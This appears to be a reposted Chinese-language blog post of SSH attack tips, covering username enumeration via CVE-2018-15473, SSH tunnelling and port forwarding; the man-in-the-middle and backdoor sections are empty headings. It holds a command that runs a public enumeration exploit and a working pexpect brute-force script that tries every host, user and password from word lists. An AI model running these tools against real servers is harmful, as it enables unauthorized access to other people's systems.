SSH攻擊的一些Tips


  • SSH用戶名枚舉
  • SSH暴力破解
  • SSH遠程操作
  • 端口轉發
  • 中間人攻擊
  • SSH后門
    -C  壓縮數據傳輸
    -f  后台認證用戶/密碼,通常與-N連用,不用登陸到遠程主機,如果通過其他程序控制隧道連接,應當避免將SSH客戶端放到后台執行,也就是去掉-f參數
    -N  不執行shell[與 -f 合用]
    -g  在-L/-D/-R參數中,允許遠程主機連接到建立的轉發端口,如果不加這個參數,只允許本地主機建立連接        
    -L  本地端口轉發
    -R  遠程端口轉發
    -p  ssh 端口
    -l  指定登錄用戶名

OpenSSH用戶名枚舉漏洞(CVE-2018-15473)

https://github.com/Rhynorater/CVE-2018-15473-Exploit

python3 sshUsernameEnumExploit.py --port 22 --userList exampleInput.txt ip

SSH暴力破解

#coding=utf-8
from pexpect import pxssh

def coon(hostname,user,password):
    try:
        s = pxssh.pxssh()
        result = s.login(hostname,user,password)
    except Exception as e:
        pass

    return result

def main():
    with open('/hostname.txt','r') as h1:
        with open('/user.txt','r') as u1:
            with open('/password.txt','r') as p1:
                h = h1.readlines()
                u = u1.readlines()
                p = p1.readlines()
                for hostname in h:
                    for user in u:
                        for password in p:
                            hostname = hostname.strip('\n')
                            user = user.strip('\n')
                            password = password.strip('\n')

                            try:
                                res = coon(hostname,user,password)

                                if res == True:
                                    print '[-]success:',hostname,'-',user,'-',password
        
                            except Exception as e:
                                pass

if __name__ == '__main__':
    main()

SSH遠程操作

遠程執行命令

ssh mark@10.211.55.13 'whoami'

執行需要交互的命令

ssh -t mark@10.211.55.13 'su root'

執行本地腳本

ssh mark@10.211.55.13 < test.sh

執行遠程服務器上的腳本

ssh mark@10.211.55.13 '/home/mark/test.sh'

端口轉發

SSH端口轉發能夠提供兩大功能:

  1. 加密 SSH Client 端至 SSH Server 端之間的通訊數據。
  2. 突破防火牆的限制完成一些之前無法建立的 TCP 連接。

綁定本地端口
既然SSH可以傳送數據,那么我們可以讓那些不加密的網絡連接,全部改走SSH連接,從而提高安全性。 假定我們要讓8080端口的數據,都通過SSH傳向遠程主機,命令就這樣寫:

ssh -D 8080 user@host

SSH建立一個socket,監聽本地的8080端口。當有數據發送端口,就把它轉移到SSH連接上面,發往遠程主機。如果8080端口原來是一個不加密端口,現在將變成一個加密端口。

轉發方式:

  • 本地轉發
  • 遠程轉發
  • 動態轉發
  • X協議轉發

本地轉發

綁定本地端口的轉發。用法:ssh -L 本地端口:目標主機:目標主機端口 <user@host>

假定host1是本地主機,host2是遠程主機。由於種種原因,這兩台主機之間無法連通。但是,另外還有一台host3,可以同時連通前面兩台主機。因此,很自然的想法就是,通過host3,將host1連上host2。 我們在host1執行下面的命令:

ssh -L 2121:host2:21 host3

這條命令的意思,就是指定SSH綁定本地端口2121,然后指定host3將所有的數據,轉發到目標主機host2的21端口(假定host2運行FTP,默認端口為21)。 這樣一來,我們只要連接host1的2121端口,就等於連上了host2的21端口。

ftp localhost:2121

"本地端口轉發"使得host1和host3之間仿佛形成一個數據傳輸的秘密隧道,因此又被稱為"SSH隧道"。

遠程轉發
綁定遠程端口的轉發。用法:ssh -R 遠程主機端口:目標主機:目標主機端口 <user@host>

假定host1與host2之間無法連通,必須借助host3轉發。但是,特殊情況出現了,host3是一台內網機器,它可以連接外網的host1,但是反過來就不行,外網的host1連不上內網的host3。這時,"本地端口轉發"就不能用了,怎么辦? 解決辦法是,既然host3可以連host1,那么就從host3上建立與host1的SSH連接,然后在host1上使用這條連接就可以了。 我們在host3執行下面的命令:

ssh -R 2121:host2:21 host1

讓host1監聽它自己的2121端口,然后將所有數據經由host3,轉發到host2的21端口。由於對於host3來說,host1是遠程主機,所以這種情況就被稱為"遠程端口綁定"。 綁定之后,我們在host1就可以連接host2了:

ftp localhost:2121

動態轉發
把遠程ssh服務器作為代理服務器,常用於翻牆。用法:ssh -D <local port> <user@host>

ssh -D 8888 user@host

X協議轉發

ssh -X  <user@host>

中間人攻擊

SSH后門

參考:

https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html
http://www.ruanyifeng.com/blog/2011/12/ssh_port_forwarding.html
https://www.freebuf.com/articles/network/129434.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM